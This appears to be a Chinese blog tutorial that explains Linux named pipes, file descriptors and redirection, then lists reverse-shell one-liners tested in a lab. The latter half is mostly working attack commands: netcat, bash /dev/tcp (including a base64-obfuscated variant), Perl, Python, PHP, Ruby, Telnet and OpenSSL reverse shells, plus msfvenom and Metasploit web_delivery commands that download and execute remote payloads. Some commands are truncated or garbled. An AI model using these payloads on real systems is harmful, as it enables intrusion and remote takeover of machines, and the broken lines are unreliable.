目录

知识点

Linux mkfifo命令基本用法

1.首先了解linux命令执行顺序

2.然后了解下管道命令(pipe)

3.常见管道命令

4.mkfifo则可以创建命名管道

Linux标准文件描述符

更改标准输出的位置

更改标准输入的位置

/dev/null

重定向

输入重定向

输出重定向

管道

环境

01NC正向Shell

02NC反向Shell

环境

03.1Bash

03.2Bash

04.1Perl

04.2Perl

05.1Python

05.2Python

环境

05.3Python

06.1PHP

06.2PHP

07Ruby

08.1Telnet

08.2Telnet

09OpenSSL

知识点

Linux mkfifo命令基本用法

参考链接:

https://www.cnblogs.com/old-path-white-cloud/p/11685558.html

https://www.jianshu.com/p/9c0c2b57cb73

1.首先了解linux命令执行顺序

通常情况下,终端只能执行一条命令,然后按下回车,那么执行多条命令呢

·顺序执行多条命令,可以用分号;

cmd1;cmd2;cmd3

·条件执行多条命令,使用&&(前一个命令执行成功,即$?=0时,执行下一条命令,否则不执行)和||(前一个命令执行失败,既$?≠0时,执行下一条命令)

cmd1&&cmd2||cmd3

·$?:上一次命令的返回结果,0为执行成功,不为0则为执行失败

2.然后了解下管道命令(pipe)

·管道是一种通信机制,用于进程间的通信(也可通过socket进行网络通信),表现出来的形式将前面的每一个进程的输出,直接作为下一个进程的输入

·管道命令仅能处理stdout(标准输出),而error则会忽略

3.常见管道命令

·cut、grep、sort、wc、uniq

·tee:重定向,既能在屏幕输出,又能保存到文件中

·tr、col、join、paste、expand、split

4.mkfifo则可以创建命名管道

什么是命名管道

|(竖线)为管道,是两个进程之间的通信通道

例如:ls|grep txt

ls和grep由|分开,管道创建了程序之间的通信通道,将ls的输出作为输入传给grep

由mkfifo创建出来的就是一个命名管道

例如:mkfifo pipe2

pipe2就是一个命名管道。

命名管道的作用

可以将输出信道化到不同终端

例如:

在第一个终端执行

ls > pipe2

在第二个终端执行

cat < pipe2(或cat pipe2,是取一次。cat < pipe2是持续输入,只要有内容传到pipe2中,就会有内容输出)

pipe2更像是一个临时存储的地方,使用cat pipe2取过内容之后,再执行cat pipe2 ,则不会有显示

识别命名管道

命名管道可以像正常文件一样访问,在文档类型可以看到为p

[root@ricky01 ~]# ll pipe2

prw-r--r-- 1 root root 0 Oct 16 14:53 pipe2

也可以使用chmod设置权限

删除就像正常文件一样使用rm删除即可

Linux常见的文件类型有7种,分别如下所示:

文件属性 文件类型 - 常规文件,即file d 目录文件 b block device即块设备文件,如硬盘;支持以block为单位进行随机访问 c character device 即字符设备文件,如键盘支持以character为单位进行线性访问 l symbolic link 即符号链接文件,又称软链接文件 p pipe 即命名管道文件 s socket 即套接字文件,用于实现两个进程进行通信

Linux标准文件描述符

Linux系统将所有设备都当作文件来处理,而Linux用文件描述符来标识每个文件对象。当Linux启动的时候会默认打开三个文件描述符

文件描述符 缩写 描述 默认设备 0 STDIN 标准输入 默认设备键盘 1 STDOUT 标准输出 默认设备显示器 2 STDERR 标准错误输出 默认设备显示器

·我们与计算机之间的交互是我可以输入一些指令之后它给我一些输出

·文件描述符0理解为我和计算机交互时的输入,而这个输入默认是指向键盘的;

·文件描述符1理解为我和计算机交互时的输出,而这个输出默认是只想显示器的;

·文件描述符2理解为我和计算机交互时,计算机出现错误时的输出,而这个输出默认是和计算机描述符1指向一个位置;

更改标准输出的位置

把标准输出位置更改到test文件中

exec 1> test

更改标准输入的位置

从键盘输入,把输入读入user变量

→ ~ → read user

testtest

→ ~ → echo $user

testtest

把当前标准输出重定向到test文件中

→ ~ → echo '1st' 1> test

→ ~ → cat test

1st

把当前标准输入重定向到test文件中

→ ~ → read user 0< test

→ ~ → echo $user

1st

标准错误输出和标准输出的区别是,它在命令出错情况下的输出

exec 2> test

分配自己的文件描述符

→ ~ → exec 5> test

→ ~ → echo 'are you ok?' 1>&5

→ ~ → cat test

把文件描述符5指向test文件,然后把当前输出重定向到文件描述符5(用&引用文件描述符,即找到文件描述符指向的目标文件)

/dev/null

特殊文件,写入的任何东西都会被清空

1.把标准错误输出重定向到/dev/null,从而丢掉不想保存的错误信息

whoami 2>/dev/null

2.快速移除文件中的数据而不用删除文件

cat /dev/null > test

重定向

重定向是把输出定向到文件或者标准流。重定向输入输出本质上就是重定向文件描述符,

输入重定向

<

从文件读取输入

输出重定向

>

将输入保存到文件

>>

将输出追加到文件

管道

|

将一个程序的输出作为输入发送到另一个程序

环境

kali 192.168.0.104

centos7 192.168.0.105

01NC正向Shell

控制端:

nc -lvvp 6666

被控端:

nc -e /bin/sh 192.168.0.104 6666

反弹shell

原理:

被控端使用nc将bin/sh绑定到本地的6666端口·控制端主动连接被控端的6666端口·即可获得shell

02NC反向Shell

没有-e参数反弹shell:

nc -lvvp 6667

rm /tmp/f;mkfifo /tmp/f;cat /tmp/f | /bin/sh -i 2>&1 | nc 192.168.0.104 6667 > /tmp/f

反弹shell

使用cat /tmp/f命令,linux输入的命令会在centos上呈现

mkfifo命令首先创建了一个管道·cat将管道里面的内容输出传递给/bin/sh·sh会执行管道里的命令并将标准输出和标准错误输出结果通过nc传到该管道·由此形成了一个回路

mknod backpipe p;nc 192.168.0.103 6667 0backpipe 2>backpipe

环境

kali                        192.168.0.104

centos7                 192.168.0.105    

03.1Bash

控制端:

nc -lvvp 6666

被控端:

bash -i >& /dev/tcp/192.168.0.104/6668 0>&1

bash -i > /dev/tcp/192.168.0.104/6668 0>&1 2>&1

>&、&> :混合输出(正确、错误的都输出到一个地方)

反弹shell

03.2Bash

控制端:

nc -lvvp 6669

被控端:

exec 5<> /dev/tcp/192.168.0.104/6669;cat <&5 | while read line;do $line 2>&5 >&5;done

反弹shell

base64编码绕过:

bash -c "echo YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjAuMTA0LzY2NjkgMD4mMQ==|base64 -d|bash -i"

反弹shell

04.1Perl

nc -lvvp 6670

perl -e 'use  Socket;$i="192.168.0.104";$p=6670;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))) {open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};'

反弹shell

04.2Perl

nc -lvvp 6671

perl -MIO -e '$p=fork;exit,if($p);$c=new  IO::Socket::INET(PeerAddr,"192.168.0.104:6671");STDIN->fdopen($c,r);$~->fdopen($c,w);system$_ while<>;'

反弹shell

查找包含perl语言的payload

msfvenom -l payloads | grep "perl" | awk '{print $1}'

05.1Python

nc -lvvp 6672

python -c 'import  socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("192.168.0.104",6672));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'

反弹shell

05.2Python

通过Msfvenom生成python反弹shell的payload:

查看攻击模板

msfvenom -l payloads | grep "python" | awk '{print $1}'

msfvenom -p python/meterpreter/reverse_tcp LHOST=192.168.0.104 LPORT=6673 -f raw

handler -p python/meterpreter/reverse_tcp -H 192.168.0.104 -P 6673

利用生成的payload在centos7执行

python -c "payload"

反弹shell

环境

kali                        192.168.0.100

ubuntu                   192.168.0.104

05.3Python

通过Web delivery反弹shell:

use exploit/multi/script/web_delivery

set target 0

set payload python/meterpreter/reverse_tcp

set lhost 192.168.0.100

set lport 6674

exploit –j

python3 -c "import sys;import ssl;u=__import__('urllib'+{2:'',3:'.request'}[sys.version_info[0]],fromlist=('urlopen',));r=u.urlopen('http://192.168.0.100:8080/37ywCheomL', context=ssl._create_unverified_context());exec(r.read());"

注意:python报错的话可以参考此链接:

https://dsalearning.github.io/linux/linux-xrdp-install/

反弹shell

06.1PHP

nc -lvvp 6675

php -r '$sock=fsockopen("192.168.0.100",6675);exec("/bin/sh -i <&3 >&3 2>&3");'

反弹shell

06.2PHP

通过web_delivery反弹shell:

use exploit/multi/script/web_delivery

set target 1

set payload php/meterpreter/reverse_tcp

set lhost 192.168.0.100

set lport 6676

exploit –j

php -d allow_url_fopen=true -r "eval(file_get_contents('http://192.168.0.100:8080/5APzkJZHvxfB', false, stream_context_create(['ssl'=>['verify_peer'=>false,'verify_peer_name'=>false]])));"

反弹shell

07Ruby

查看攻击模板

msfvenom -l payload | grep "ruby" | awk '{print($1)}'

nc -lvvp 6677

ruby -rsocket -e 'exit if fork;c=TCPSocket.new("192.168.0.100","6677");while(cmd=c.gets);IO.popen(cmd,"r"){|io|c.print io.read}end'

08.1Telnet

nc -lvvp 6678

nc -lvvp 6679

telnet 192.168.0.100 6678 | /bin/bash | telnet 192.168.0.100 6679 

监听6678端口执行命令,结果会在6679端口输出

08.2Telnet

nc -lvvp 6680

rm -f a && mknod a p && telnet 192.168.0.100 6680 0a

反弹shell

09OpenSSL

1. 在远程攻击主机上生成秘钥文件

openssl req -x509 -newkey rsa:4096 -keyout key.pem -out cert.pem -days 365 - nodes

2. 在远程攻击主机上启动监视器

openssl s_server -quiet -key key.pem -cert cert.pem -port 443

3. 在目标机上反弹shell

mkfifo /tmp/s; /bin/sh -i < /tmp/s 2>&1 | openssl s_client -quiet -connect

: > /tmp/s; rm /tmp/s

文章来源

评论可见,请评论后查看内容,谢谢!!!
 您阅读本篇文章共花了: